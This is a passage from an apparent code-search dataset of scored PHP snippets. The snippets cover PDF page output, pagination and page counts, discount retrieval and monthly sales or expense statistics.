(isset($this->pagedim[$n]['trans']['Dm'])) {\n $out .= ' /Dm /'.$this->pagedim[$n]['trans']['Dm'];\n }\n if (isset($this->pagedim[$n]['trans']['M'])) {\n $out .= ' /M /'.$this->pagedim[$n]['trans']['M'];\n }\n if (isset($this->pagedim[$n]['trans']['Di'])) {\n $out .= ' /Di '.$this->pagedim[$n]['trans']['Di'];\n }\n if (isset($this->pagedim[$n]['trans']['SS'])) {\n $out .= ' /SS '.$this->pagedim[$n]['trans']['SS'];\n }\n if (isset($this->pagedim[$n]['trans']['B'])) {\n $out .= ' /B '.$this->pagedim[$n]['trans']['B'];\n }\n $out .= ' >>';\n }\n $out .= $this->_getannotsrefs($n);\n $out .= ' /PZ '.$this->pagedim[$n]['PZ'];\n $out .= ' >>';\n $out .= \"\\n\".'endobj';\n $this->_out($out);\n //Page content\n $p = ($this->compress) ? gzcompress($temppage) : $temppage;\n $this->_newobj();\n $p = $this->_getrawstream($p);\n $this->_out('<<'.$filter.'/Length '.strlen($p).'>> stream'.\"\\n\".$p.\"\\n\".'endstream'.\"\\n\".'endobj');\n }\n //Pages root\n $out = $this->_getobj(1).\"\\n\";\n $out .= '<< /Type /Pages /Kids [';\n foreach($this->page_obj_id as $page_obj) {\n $out .= ' '.$page_obj.' 0 R';\n }\n $out .= ' ] /Count '.$num_pages.' >>';\n $out .= \"\\n\".'endobj';\n $this->_out($out);\n }", "title": "" }, { "docid": "162c1e7efceadeca13208615613b9fe0", "score": "0.51823056", "text": "function getCount($fp, $obj) {\n\t$url = \"http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=\".$obj;\n\t$ch = curl_init();\n\tcurl_setopt($ch, CURLOPT_URL, $url);\n\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\tcurl_setopt($ch, CURLOPT_REFERER, 'http://blog.Stackr.fr');\n\t$body = curl_exec($ch);\n\tcurl_close($ch);\n\n\t// Decode the JSON string to an associative array\n\t$json = json_decode($body, true);\n\n\t// Fetch the number of results\n\tfprintf($fp, $obj.'; '.$json['responseData']['cursor']['estimatedResultCount'].\"\\n\");\n}", "title": "" }, { "docid": "162c1e7efceadeca13208615613b9fe0", "score": "0.51823056", "text": "function getCount($fp, $obj) {\n\t$url = \"http://ajax.googleapis.com/ajax/services/search/web?v=1.0&q=\".$obj;\n\t$ch = curl_init();\n\tcurl_setopt($ch, CURLOPT_URL, $url);\n\tcurl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\n\tcurl_setopt($ch, CURLOPT_REFERER, 'http://blog.Stackr.fr');\n\t$body = curl_exec($ch);\n\tcurl_close($ch);\n\n\t// Decode the JSON string to an associative array\n\t$json = json_decode($body, true);\n\n\t// Fetch the number of results\n\tfprintf($fp, $obj.'; '.$json['responseData']['cursor']['estimatedResultCount'].\"\\n\");\n}", "title": "" }, { "docid": "372ba0ffd3390ed0d71dfe8be914a348", "score": "0.5170578", "text": "public static function count_docs() {\n\t\treturn self::$found_docs;\n\t}", "title": "" }, { "docid": "73209137d82bade2c05896d8b54baf38", "score": "0.5167401", "text": "public function totalPages(): int {\n return $this->getQuery()->max_num_pages;\n }", "title": "" }, { "docid": "bec6d149c224300c5af8b50af978d403", "score": "0.5154894", "text": "function pagination_nbpages($total, $position=0, $pas=1, $texte=\"/\") {\n\t\tif (ereg('^debut([-_a-zA-Z0-9]+)$', $position, $match)) {\n\t\t\t$debut_lim = \"debut\".$match[1];\n\t\t\t$position = intval($GLOBALS['HTTP_GET_VARS'][$debut_lim]);\n\t\t}\n\t\t$nombre_pages = floor(($total-1)/$pas)+1;\n\t\t$position = floor($position/$pas)+1;\n\t\treturn ($nombre_pages>1) ? $position.$texte.$nombre_pages : '';\n\t}", "title": "" }, { "docid": "a06268210a6813aaa744834b404e59de", "score": "0.5150639", "text": "function page_total(){\n $num_events = $this->reg->db->getRow('SELECT COUNT(id)\n FROM event__event');\n\n // calculate total pages\n $pages = floor($num_events[0]/30);\n if($num_events[0]%30)\n $pages++;\n\n return $pages;\n }", "title": "" }, { "docid": "ec1d713827cb2889e8186e200c5ba894", "score": "0.514487", "text": "public function totalPages()\n {\n return ceil($this->total / $this->limit);\n }", "title": "" }, { "docid": "772b9dc681db9c6d2a6de82cb4972165", "score": "0.5136525", "text": "public function getCount()\n {\n return count($this->paragraphs);\n }", "title": "" }, { "docid": "9d67208fdc03b63963718b0ed68023be", "score": "0.5132344", "text": "public function count() {\n\t\treturn $this->_docCount;\n\t}", "title": "" }, { "docid": "9d67208fdc03b63963718b0ed68023be", "score": "0.5132344", "text": "public function count() {\n\t\treturn $this->_docCount;\n\t}", "title": "" }, { "docid": "5e7a8c5018feb9277db883e632c4a86f", "score": "0.5130359", "text": "public static function PaginationNbPages()\n\t{\n\t\tglobal $_ctx;\n\t\t\n\t\tif ($_ctx->pagination === null) {\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t$nb_posts = $_ctx->pagination->f(0);\n\t\t$nb_per_page = $_ctx->post_params['limit'][1];\n\t\t\n\t\t$nb_pages = ceil($nb_posts/$nb_per_page);\n\t\t\n\t\treturn $nb_pages;\n\t}", "title": "" }, { "docid": "c9cdbebb120fdfbc452c0b4ed3537966", "score": "0.5127054", "text": "public function count()\n {\n return count($this->documents);\n }", "title": "" }, { "docid": "966f8d66a015ca4b006eb7062a01769d", "score": "0.51267725", "text": "public function count()\r\n {\r\n $count = $this->_lastPage - $this->_firstPage + 1;\r\n if ($count > 0) {\r\n return $count;\r\n }\r\n return false;\r\n }", "title": "" }, { "docid": "e1c6d2d41880b9d8129780649777a3fe", "score": "0.5121567", "text": "public function getPagesFound()\n {\n return $this->pagesFound;\n }", "title": "" }, { "docid": "4aeb740cb514f85763ac81beebabb8f0", "score": "0.5119614", "text": "private function obtenerNumeroDePaginas(): int{\n\n $queryPaginacion = \"SELECT COUNT(*) FROM propuesta INNER JOIN pais ON pais.id = propuesta.idpais\" . $this->condicionales;\n $filas = mysqli_query($this->conexion, $queryPaginacion) or die(mysqli_error($this->conexion));\n $aux = mysqli_fetch_row($filas);\n $numeroDePaginas = ceil($aux[0] / $this->postulacionesPorPagina);\n return $numeroDePaginas;\n }", "title": "" }, { "docid": "626958f0b9aa7069cbc437bbe9af0823", "score": "0.5110174", "text": "public function totalPages()\r\n\t{\r\n\t\treturn (int)ceil($this->totalItems / $this->pageLimit);\r\n\t}", "title": "" }, { "docid": "278298f782a09d504d516a4cb4f4a510", "score": "0.51031154", "text": "private function calculatePageCount(): void\n {\n $rowsPerPage = $this->getRowsPerPage();\n if ($rowsPerPage == 0) {\n $this->setPageCount(1);\n } else {\n $rowCount = $this->getRowCount();\n if (!is_numeric($rowsPerPage) || $rowsPerPage == 0) {\n $rowsPerPage = 10;\n }\n\n $pages = $rowCount / $rowsPerPage;\n $pages = (int)$pages;\n $pages++;\n $this->setPageCount($pages);\n }\n }", "title": "" }, { "docid": "549357a53fca2b9a4470cfec34883b12", "score": "0.5097896", "text": "public function get_items_page_count() {\n\n\t\t$result = $this->get_items_total_count();\n\t\t$per_page = $this->get_items_per_page();\n\n\t\tif ( $per_page < $result ) {\n\t\t\t$page = $this->get_current_items_page();\n\t\t\t$pages = $this->get_items_pages_count();\n\n\t\t\tif ( $page < $pages ) {\n\t\t\t\t$result = $per_page;\n\t\t\t} elseif ( $page == $pages ) {\n\t\t\t\t$offset = ! empty( $this->final_query['offset'] ) ? absint( $this->final_query['offset'] ) : 0;\n\n\t\t\t\tif ( $result % $per_page > 0 ) {\n\t\t\t\t\t$result = ( $result % $per_page ) - $offset;\n\t\t\t\t} else {\n\t\t\t\t\t$result = $per_page - $offset;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\treturn $result;\n\n\t}", "title": "" }, { "docid": "6b2882a58fe2a008b55077498afd97d3", "score": "0.50789845", "text": "function setSourceData($pdfdata) {\n $filename = uniqid('tcpdi-', true);\n $this->current_filename = $filename;\n\n if (!isset($this->parsers[$filename]))\n $this->parsers[$filename] = new tcpdi_parser($pdfdata, $filename);\n $this->current_parser =& $this->parsers[$filename];\n $this->setPDFVersion(max($this->getPDFVersion(), $this->current_parser->getPDFVersion()));\n\n return $this->parsers[$filename]->getPageCount();\n }", "title": "" }, { "docid": "15f253af29dd41346fd0c22e21543132", "score": "0.50582165", "text": "public function countPages(Criteria $criteria = null, $distinct = false, PropelPDO $con = null)\n {\n $partial = $this->collPagesPartial && !$this->isNew();\n if (null === $this->collPages || null !== $criteria || $partial) {\n if ($this->isNew() && null === $this->collPages) {\n return 0;\n } else {\n if($partial && !$criteria) {\n return count($this->getPages());\n }\n $query = PageQuery::create(null, $criteria);\n if ($distinct) {\n $query->distinct();\n }\n\n return $query\n ->filterByUser($this)\n ->count($con);\n }\n } else {\n return count($this->collPages);\n }\n }", "title": "" } ]
83c5cf4c53d804760c10ec0ace4a775c
This is the function that gets the discounts for monthly subscription
[ { "docid": "a90b9a32524a3054546f92db467a1f21", "score": "0.0", "text": "public function getThisApplicableDiscountForThisMembershiptypeForMonthly($membership_type_id,$number_of_months){\n $model = new PlatformSettings;\n return $model->getThisApplicableDiscountForThisMembershiptypeForMonthly($membership_type_id,$number_of_months);\n }", "title": "" } ]
[ { "docid": "31aeea78f60c7fcc55fb008549e3fbf8", "score": "0.66961205", "text": "function getAllDiscounts() {\n return $this->request('GET', 'https://api.upodi.io/v2/discounts');\n }", "title": "" }, { "docid": "5a5c0301afcdda81fe8c8c8677482224", "score": "0.6437769", "text": "protected function calculate_discounts()\n {\n }", "title": "" }, { "docid": "1bc0928e24c23a0240ee91f920cea862", "score": "0.64246255", "text": "private function getCartsMonthly()\n {\n $this->runTest(\n 'Test 51. Get carts by month',\n 'SELECT period, SUM(analytic_shop.create_cart_count) as create_carts_count\n FROM analytic_data analytic,\n analytic_shop analytic_shop\n WHERE period >= \"2012-10-21 00:00\"\n AND period < \"2012-11-21 00:00\"\n AND analytic_shop.analytic_id = analytic.id\n GROUP BY period\n ORDER BY period\n LIMIT 100'\n );\n }", "title": "" }, { "docid": "da4071b76926d5da834009d618037031", "score": "0.6405724", "text": "public function getMonthlyStatistics()\n\t{\n $affiliates[$this->columns['monthly'][0]] = DB::table($this->aggregated_table)->select($this->columns['monthly'][0])\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ->orderBy('revenue','desc')\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ->take($this->limit)\n \t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t ->get();\n\n $affiliates = $this->getAffiliateDetails($affiliates);\n return $affiliates;\n\t}", "title": "" }, { "docid": "1e138a862a6e0cd6e290e889840c549f", "score": "0.637133", "text": "public function get_discounts($in_cents = \\false)\n {\n }", "title": "" }, { "docid": "734a54f6f04fb8946c986e8e7cadbf13", "score": "0.6337484", "text": "abstract public function discounts();", "title": "" }, { "docid": "859f57af67d99475e40bef6ad74d708f", "score": "0.6195295", "text": "public function get()\n {\n return $this->discounts;\n }", "title": "" }, { "docid": "4e75574a0360d9a153ef89b59024647e", "score": "0.61748964", "text": "public function getDiscountRates();", "title": "" }, { "docid": "71f187ea16711130d410bff45d65d502", "score": "0.61132467", "text": "public function getReceivedInvoicebyMonth() {\n $db = new DBManager();\n \n $sql = \"SELECT ems_receive_invoice.invoice_id as invoice_id, ems_receive_invoice.created_at as created_at from ems_receive_invoice, ems_invoice_receive_amount where ems_receive_invoice.invoice_id = ems_invoice_receive_amount.invoice_id GROUP BY DATE_FORMAT(ems_receive_invoice.created_at, 'Y%m%') order by ems_receive_invoice.id desc\";\n\n $data = $db->getAllRecords($sql);\n $totalPurchase = $db->getNumRow($sql);\n while ($row = $db->getNextRow()) {\n $this->receive_invoice_id[] = $row['invoice_id'];\n $this->receive_invoice_date_monthly[] = $row['created_at'];\n }\n return $totalPurchase;\n \n }", "title": "" }, { "docid": "f9049e99156d48bad73d50db04d86b55", "score": "0.6100189", "text": "public function getDiscounts($shop, $token) {\n // the curl url\n $curl_url = \"https://$shop/admin/discounts.json\";\n \n return $this->curlRequest($curl_url, $token);\n }", "title": "" }, { "docid": "e2b53bbd141046ad2362c830e90a50bd", "score": "0.6080471", "text": "private function getNewsletterSubscriptionsPerMonth()\n {\n $this->runTest(\n 'Test 27. Get count of newsletter subscriptions per month',\n 'SELECT analytic.period, COUNT(*) as newsletter_subscriptions\n FROM analytic_data analytic,\n analytic_customer customer\n WHERE customer.analytic_id = analytic.id\n AND analytic.period >= \"2012-01-01 00:00\"\n AND analytic.period < \"2012-02-01 00:00\"\n AND customer.newsletter_subscription = true\n GROUP BY period\n ORDER BY period\n LIMIT 100'\n );\n }", "title": "" }, { "docid": "d8f552b6fc86492343a09f46f3eae0fb", "score": "0.6037473", "text": "public function fetch(){\n\t\t$appid = I('appid');\n\n\t\t$url = \"https://api.it120.cc/tz//discounts/fetch\";\n\n\t\t$res = httpRequest($url);\n\t\techo $res;\n\n\t}", "title": "" }, { "docid": "e5cf5abe316d8d0e3c3399ea18844fdb", "score": "0.6006384", "text": "public function getMonthlySolded()\n\t{\n\t\t$paid_invoices = $this->VisitInvoices->find('monthlyPaid');\n\t\t\tif($paid_invoices->isEmpty())\n\t\t\t{\n\t\t\t\techo \"none\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t//formatting response\n\t\t\t\tforeach ($paid_invoices as $paid_invoice) {\n\t\t\t\t\t$paid_invoice->format_amount = number_format($paid_invoice->amount,2,',','.');\n\n\t\t\t\t\t $countdown=0; \n $search = true;\n\n while($search) \n {\n if(file_exists(WWW_ROOT.\"Files/manager/\".$paid_invoice->manager_operator->institution->slug.\"/invoices_images/\".$paid_invoice->code_invoice.'-'.$countdown.'.jpg'))\n {\n $countdown++;\n }\n else\n {\n $search = false;\n $paid_invoice->invoices_images = $countdown;\n }\n \n }\n\t\t\t\t}\n\t\t\t\t\n\t\t\t\techo json_encode($paid_invoices->toArray());\n\t\t\t}\n\t\texit();\n\t}", "title": "" }, { "docid": "f647563911911c5c43da78b3fe74b59a", "score": "0.6004277", "text": "private function getNumbersAddToCartMonthly()\n {\n $this->runTest(\n 'Test 22. Get numbers of add to cart by month',\n 'SELECT period, SUM(analytic_shop.products_in_cart_count) as products_in_cart_count\n FROM analytic_data analytic,\n analytic_shop analytic_shop\n WHERE period >= \"2012-10-21 00:00\"\n AND period <= \"2012-11-21 00:00\"\n AND analytic_shop.analytic_id = analytic.id\n GROUP BY period\n ORDER BY period\n LIMIT 100'\n );\n }", "title": "" }, { "docid": "4d8539b844282799a54fe9c16b252311", "score": "0.5957036", "text": "public function getRebateDiscountCustomer(Request $request)\n {\n if (!$this->isAuthorized) {\n return prepareResult(false, [], [], \"User not authenticate\", $this->unauthorized);\n }\n\n\n if (!$request->year || !$request->month) {\n return prepareResult(false, [], [], \"select month and year\", $this->unauthorized);\n }\n\n $ts = strtotime($request->month . '' . $request->year);\n $start_date = $request->year . '-' . $request->month . '-' . \"01\";\n $end_date = $request->year . '-' . $request->month . '-' . date('t', $ts);\n\n $RebateDiscount = RebateDiscount::with(\n 'user:id,firstname,lastname,email',\n 'lob'\n )\n ->where('from_date', '<=', $start_date)\n ->where('to_date', '>=', $end_date)\n ->orderBy('id', 'desc')\n ->get();\n\n $RebateDiscount_array = array();\n if (is_object($RebateDiscount)) {\n foreach ($RebateDiscount as $key => $RebateDiscount1) {\n $RebateDiscount_array[] = $RebateDiscount[$key];\n }\n }\n\n $data_array = array();\n $page = (isset($_REQUEST['page'])) ? $_REQUEST['page'] : '';\n $limit = (isset($_REQUEST['page_size'])) ? $_REQUEST['page_size'] : '';\n $pagination = array();\n if ($page != '' && $limit != '') {\n $offset = ($page - 1) * $limit;\n for ($i = 0; $i < $limit; $i++) {\n if (isset($RebateDiscount_array[$offset])) {\n $data_array[] = $RebateDiscount_array[$offset];\n }\n $offset++;\n }\n\n $pagination['total_pages'] = ceil(count($RebateDiscount_array) / $limit);\n $pagination['current_page'] = (int)$page;\n $pagination['total_records'] = count($RebateDiscount_array);\n } else {\n $data_array = $RebateDiscount_array;\n }\n\n return prepareResult(true, $data_array, [], \"Rebate discount details\", $this->success, $pagination);\n }", "title": "" }, { "docid": "ac81f10f5257fd142e1c5ffcfad6deed", "score": "0.5930929", "text": "public function getDiscounts()\n {\n return unserialize($this->discounts);\n }", "title": "" }, { "docid": "e86721e3de12d928fb383af0fa97e43c", "score": "0.59242785", "text": "public function getMonthlyUnsolded()\n\t{\n\t\t$unpaid_invoices = $this->VisitInvoices->find('monthlyUnpaid');\n\t\t\tif($unpaid_invoices->isEmpty())\n\t\t\t{\n\t\t\t\techo \"none\";\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\tforeach ($unpaid_invoices as $unpaid_invoice) {\n\t\t\t\t\t$unpaid_invoice->format_amount = number_format($unpaid_invoice->amount,2,',','.');\n\n\t\t\t\t\t\t$countdown=0; \n $search = true;\n\n while($search) \n {\n if(file_exists(WWW_ROOT.\"Files/manager/\".$unpaid_invoice->manager_operator->institution->slug.\"/invoices_images/\".$unpaid_invoice->code_invoice.'-'.$countdown.'.jpg'))\n {\n $countdown++;\n }\n else\n {\n $search = false;\n $unpaid_invoice->invoices_images = $countdown;\n }\n \n }\n\t\t\t\t}\n\t\t\t\techo json_encode($unpaid_invoices->toArray());\n\t\t\t}\n\t\texit();\n\t}", "title": "" }, { "docid": "27ab41133a28c4004c304e33e6f4ed84", "score": "0.5914847", "text": "public function get_discounts_by_item($in_cents = \\false)\n {\n }", "title": "" }, { "docid": "ee273a3d8285a6086ef1df9b35134559", "score": "0.59014916", "text": "function get_monthly_s_opco(){\n //ada parameter company\n // tahun\n \n \n }", "title": "" }, { "docid": "89a03e4ae8a7231b93588f0b3d79bf00", "score": "0.58563817", "text": "public function getDiscount();", "title": "" }, { "docid": "89a03e4ae8a7231b93588f0b3d79bf00", "score": "0.58563817", "text": "public function getDiscount();", "title": "" }, { "docid": "89a03e4ae8a7231b93588f0b3d79bf00", "score": "0.58563817", "text": "public function getDiscount();", "title": "" }, { "docid": "0feaa7d6695b1735c603cde582aa5820", "score": "0.5841347", "text": "public function getCartLifetimeAverages()\n {\n $limit = intval(Mage::getStoreConfig('cogitron/settings/cogitron_dashsales'));\n if(!$limit){$limit = 12;}\n\n $rtn = array();\n \n $resource = Mage::getSingleton('core/resource');\n\n $readConnection = $resource->getConnection('core_read');\n\n $table=Mage::getConfig()->getTablePrefix().\"sales_flat_order\";\n\n //get latest\n $sqlA=\"SELECT created_at FROM \".$table.\" WHERE status='complete' ORDER BY created_at DESC\";\n\n $results = $readConnection->fetchAll($sqlA);\n $i =1;\n $monthsub = 1;\n $total = 0;\n\n $latest = $results[0]['created_at'];\n\n $date = date( \"d/m/Y\", strtotime($latest));\n $d = new DateTime( $date );\n\n\n\n while($i >= 1 && $monthsub != $limit) {\n\n $sql=\"SELECT entity_id, subtotal_invoiced, created_at FROM \".$table.\" WHERE status='complete' AND created_at <= DATE_SUB(STR_TO_DATE('\" . $latest . \"', '%Y-%m-%d'),INTERVAL \" . $monthsub . \" MONTH) ORDER BY created_at DESC \";\n\n $results = $readConnection->fetchAll($sql);\n\n $i = count($results);\n\n\n $d->modify( 'last day of last month' );\n $sql = \"SELECT SUM(subtotal_invoiced) FROM \" . $table . \" WHERE status='complete' AND created_at <= DATE_SUB(STR_TO_DATE('\" . $latest . \"', '%Y-%m-%d'),INTERVAL \" . $monthsub . \" MONTH)\";\n $result = $readConnection->fetchAll($sql);\n //$date = date(\"m/Y\", strtotime(\"-\".$monthsub.\" months\",$latest));\n\n $total = number_format($result[0]['SUM(subtotal_invoiced)'], 2);\n if($total > 0){\n $rtn[$monthsub] = array( $i, $total, $d->format('d-m-Y'));\n }\n $monthsub++;\n }\n return $rtn;\n }", "title": "" }, { "docid": "b0c6a31c74c981276d8723f024502fc8", "score": "0.58266413", "text": "public function get_json_year_actual_sales(){\n\t\t$year_today = date(\"Y\");\n\t\t$sql = \"SELECT DISTINCT MONTH(payment_date) AS month_selected, SUM(payment_amount) as month_collection FROM tbl_payment WHERE YEAR(payment_date)='$year_today' GROUP BY month_selected\";\n\t\t\n\t\t$result = mysqli_query($this->db,$sql);\n\t\tif (mysqli_num_rows($result)>0){\n\t\t\twhile($row = mysqli_fetch_assoc($result)){\n\t\t\t\t$list[] = $row;\n\t\t\t}\n }else{\n $list=false;\n }\n \n\t\treturn $list;\n\t}", "title": "" }, { "docid": "8951ecf59b2610c4bb5ba29882d42119", "score": "0.58245736", "text": "public function get_discounts_after_tax()\n {\n }", "title": "" }, { "docid": "61002af02218ecd9265fb01f0fd106a3", "score": "0.5821154", "text": "function getdiscount();", "title": "" }, { "docid": "ff67f89e39c7da4c1f9b758af1c8427d", "score": "0.5816765", "text": "public function monthlySpend($product = null, $supplier = null, $customer = null)\n\t{\n\t\t$statement = \"SELECT year(`For_Month`) as `Year`, \n\t\t\t\t\tFormat(SUM(IF (month(`For_Month`) = '1', `Total_Charge`, 0))/1000, '0.00') AS `Jan`, \n\t\t\t\t\tFormat(SUM(IF (month(`For_Month`) = '2', `Total_Charge`, 0))/1000, '0.00') AS `Feb`, \n\t\t\t\t\tFormat(SUM(IF (month(`For_Month`) = '3', `Total_Charge`, 0))/1000, '0.00') AS `Mar`, \n\t\t\t\t\tFormat(SUM(IF (month(`For_Month`) = '4', `Total_Charge`, 0))/1000, '0.00') AS `Apr`, \n\t\t\t\t\tFormat(SUM(IF (month(`For_Month`) = '5', `Total_Charge`, 0))/1000, '0.00') AS `May`, \n\t\t\t\t\tFormat(SUM(IF (month(`For_Month`) = '6', `Total_Charge`, 0))/1000, '0.00') AS `Jun`, \n\t\t\t\t\tFormat(SUM(IF (month(`For_Month`) = '7', `Total_Charge`, 0))/1000, '0.00') AS `Jul`, \n\t\t\t\t\tFormat(SUM(IF (month(`For_Month`) = '8', `Total_Charge`, 0))/1000, '0.00') AS `Aug`, \n\t\t\t\t\tFormat(SUM(IF (month(`For_Month`) = '9', `Total_Charge`, 0))/1000, '0.00') AS `Sep`, \n\t\t\t\t\tFormat(SUM(IF (month(`For_Month`) = '10',`Total_Charge`, 0))/1000, '0.00') AS `Oct`, \n\t\t\t\t\tFormat(SUM(IF (month(`For_Month`) = '11',`Total_Charge`, 0))/1000, '0.00') AS `Nov`, \n\t\t\t\t\tFormat(SUM(IF (month(`For_Month`) = '12', `Total_Charge`, 0))/1000, '0.00') AS `Dec`, \n \t\t\tFormat(SUM(`Total_Charge`)/1000, '0.00') as `Total_Charge`\n \t\t\tFROM `g-cloud` WHERE 1 \";\n\n $statement .= ! is_null($product) ? \"AND (`Product_Service_Description` LIKE '%\". $product .\"%') \" : '';\n $statement .= ! is_null($supplier) ? \"AND (`Supplier` LIKE '%\". $supplier .\"%') \" : '';\n $statement .= ! is_null($customer) ? \"AND (`Customer` LIKE '%\". $customer .\"%') \" : '';\n\n $statement .= \"GROUP BY `Year` DESC\";\n\n return DB::select($statement);\n\t}", "title": "" }, { "docid": "6e9fb5b52ca1a86acb4e5850c726e227", "score": "0.5813357", "text": "function getAllSubscriptionCharges() {\n return $this->request('GET', 'https://api.upodi.io/v2/subscriptionCharges');\n }", "title": "" }, { "docid": "70d5949808420978fb1d4801a19dad1d", "score": "0.58107114", "text": "public function getDiscounted();", "title": "" }, { "docid": "70d5949808420978fb1d4801a19dad1d", "score": "0.58107114", "text": "public function getDiscounted();", "title": "" }, { "docid": "8a070ed214ee593ef94cbd95aa654100", "score": "0.5709658", "text": "public function getDiscounts( $params = array() ) {\n\t\treturn $this->call( array( 'endpoint' => 'discounts', 'body' => $params ), 'GET' );\n\t}", "title": "" }, { "docid": "5aa0d636b860a7deda1d25dfeacd95d2", "score": "0.57083976", "text": "function get_month_invoice_count(){\n $year = date('Y');\n $month = date('m');\n $query = $this->db->query(\"SELECT count(id) as scnt FROM invoice WHERE month(`payment_date`) = $month AND year(`payment_date`) = $year\"); \n $res = $query->result();\n $stockCount = 0;\n foreach ($res as $value) {\n $stockCount = $value->scnt;\n }\n return $stockCount;\n }", "title": "" }, { "docid": "b08af1c08d492969221dc44fe20ab911", "score": "0.57065654", "text": "public function index()\n {\n \n $purchases = Purchase::all();\n\n $totalBusiness = 0;\n $remainingAmount = 0;\n $amountPaid = 0;\n $discount = 0;\n foreach($purchases as $purchase)\n {\n $totalBusiness = $totalBusiness + $purchase->totalBill;\n $remainingAmount = $remainingAmount + $purchase->amountRemaining;\n $amountPaid = $amountPaid + $purchase->amountPaid; \n $discount = $discount + $purchase->discount; \n }\n\n\n\n $sales = Sale::all();\n\n $sTotalBusiness = 0;\n $sRemainingAmount = 0;\n $sAmountPaid = 0;\n $sDiscount = 0;\n foreach($sales as $sale)\n {\n $sTotalBusiness = $sTotalBusiness + $sale->totalBill;\n $sRemainingAmount = $sRemainingAmount + $sale->amountRemaining;\n $sAmountPaid = $sAmountPaid + $sale->amountPaid;\n $sDiscount = $sDiscount + $sale->discount; \n\n }\n\n\n $now = Carbon::now()->timezone('Asia/Karachi');\n $startOfYear = $now->startOfYear();\n\n $dateMonth = array();\n $dateMonth[0]= $startOfYear->toDateString();\n //return $dateMonth[0];\n $dateMonth[1] = $startOfYear->copy()->addMonth(1)->toDateString();\n $dateMonth[2] = $startOfYear->copy()->addMonth(2)->toDateString();\n $dateMonth[3] = $startOfYear->copy()->addMonth(3)->toDateString();\n $dateMonth[4] = $startOfYear->copy()->addMonth(4)->toDateString();\n $dateMonth[5] = $startOfYear->copy()->addMonth(5)->toDateString();\n $dateMonth[6] = $startOfYear->copy()->addMonth(6)->toDateString();\n\n $dateMonth[7] = $startOfYear->copy()->addMonth(7)->toDateString();\n $dateMonth[8] = $startOfYear->copy()->addMonth(8)->toDateString();\n $dateMonth[9] = $startOfYear->copy()->addMonth(9)->toDateString();\n $dateMonth[10] = $startOfYear->copy()->addMonth(10)->toDateString();\n $dateMonth[11] = $startOfYear->copy()->addMonth(11)->toDateString();\n\n\n $dateMonth[12] = $startOfYear->copy()->addMonth(12)->toDateString();\n\n\n // ========== Yearly Sales ========== // \n \n $yearlySale = array();\n $yearlySale[0] = Sale::whereDate('created_at','>=',$dateMonth[0])\n ->whereDate('created_at','<',$dateMonth[1])\n ->sum('totalBill');\n\n for($i=1 ; $i<=11 ; $i++)\n {\n $yearlySale[$i] = Sale::whereDate('created_at','>=',$dateMonth[$i])\n ->whereDate('created_at','<',$dateMonth[$i+1])\n ->sum('totalBill');\n }\n\n // ========== Yearly Purchases ========== // \n\n $yearlyPurchase = array();\n $yearlyPurchase[0] = Purchase::whereDate('created_at','>=',$dateMonth[0])\n ->whereDate('created_at','<',$dateMonth[1])\n ->sum('totalBill');\n\n for($i=1 ; $i<=11 ; $i++)\n {\n $yearlyPurchase[$i] = Purchase::whereDate('created_at','>=',$dateMonth[$i])\n ->whereDate('created_at','<',$dateMonth[$i+1])\n ->sum('totalBill');\n }\n\n // ===========================BAR CHART =============================== //\n\n\n $now = Carbon::now()->timezone('Asia/Karachi');\n $startOfYear = $now->startOfYear();\n\n $dateMonth = array();\n $dateMonth[0] = $startOfYear->toDateString();\n\n $dateMonth[1] = $startOfYear->copy()->addMonth(1)->toDateString();\n $dateMonth[2] = $startOfYear->copy()->addMonth(2)->toDateString();\n $dateMonth[3] = $startOfYear->copy()->addMonth(3)->toDateString();\n $dateMonth[4] = $startOfYear->copy()->addMonth(4)->toDateString();\n $dateMonth[5] = $startOfYear->copy()->addMonth(5)->toDateString();\n $dateMonth[6] = $startOfYear->copy()->addMonth(6)->toDateString();\n\n $dateMonth[7] = $startOfYear->copy()->addMonth(7)->toDateString();\n $dateMonth[8] = $startOfYear->copy()->addMonth(8)->toDateString();\n $dateMonth[9] = $startOfYear->copy()->addMonth(9)->toDateString();\n $dateMonth[10] = $startOfYear->copy()->addMonth(10)->toDateString();\n $dateMonth[11] = $startOfYear->copy()->addMonth(11)->toDateString();\n\n\n $dateMonth[12] = $startOfYear->copy()->addMonth(12)->toDateString();\n\n\n \n // ========== Yearly Expenses ========== // \n $yearlyExpenses = array();\n $yearlyExpenses[0] = FixedExpense::whereDate('created_at','>=',$dateMonth[0])\n ->whereDate('created_at','<',$dateMonth[1])\n ->sum('amount');\n\n\n for($i=1 ; $i<=11 ; $i++)\n {\n $yearlyExpenses[$i] = FixedExpense::whereDate('created_at','>=',$dateMonth[$i])\n ->whereDate('created_at','<',$dateMonth[$i+1])\n ->sum('amount');\n }\n\n \n // =========================== DONUT CHART =============================== //\n\n $now = Carbon::now()->timezone('Asia/Karachi');\n $startOfMonth = $now->copy()->startOfMonth();\n $endOfMonth = $now->copy()->endOfMonth();\n\n $monthlyExpenses = FixedExpense::whereDate('created_at','>=',$startOfMonth)\n ->whereDate('created_at','<=',$endOfMonth)\n ->sum('amount');\n\n\n $monthlySales = Sale::whereDate('created_at','>=',$startOfMonth)\n ->whereDate('created_at','<=',$endOfMonth)\n ->sum('totalBill');\n\n\n $monthlyPurchases = Purchase::whereDate('created_at','>=',$startOfMonth)\n ->whereDate('created_at','<=',$endOfMonth)\n ->sum('totalBill');\n // return $monthlyExpenses;\n\n $customers = Customer::count();\n $employes = User::count();\n $totalInventory = ProductInventory::count();\n\n\n\n return view('home',compact('sales','yearlySale','yearlyPurchase','sTotalBusiness','totalBusiness','yearlyExpenses','monthlyExpenses','monthlySales','monthlyPurchases','customers','employes','totalInventory')); \n\n }", "title": "" }, { "docid": "ac469aebc7b7792b2df54b355789f0d1", "score": "0.57011336", "text": "public function getClientsToPayMonthly()\n {\n #SQL\n }", "title": "" }, { "docid": "63c6e3d3427a2721253f3ec24056582b", "score": "0.5697597", "text": "private function getWishlistsMonthly()\n {\n $this->runTest(\n 'Test 54. Get wishlist products count by 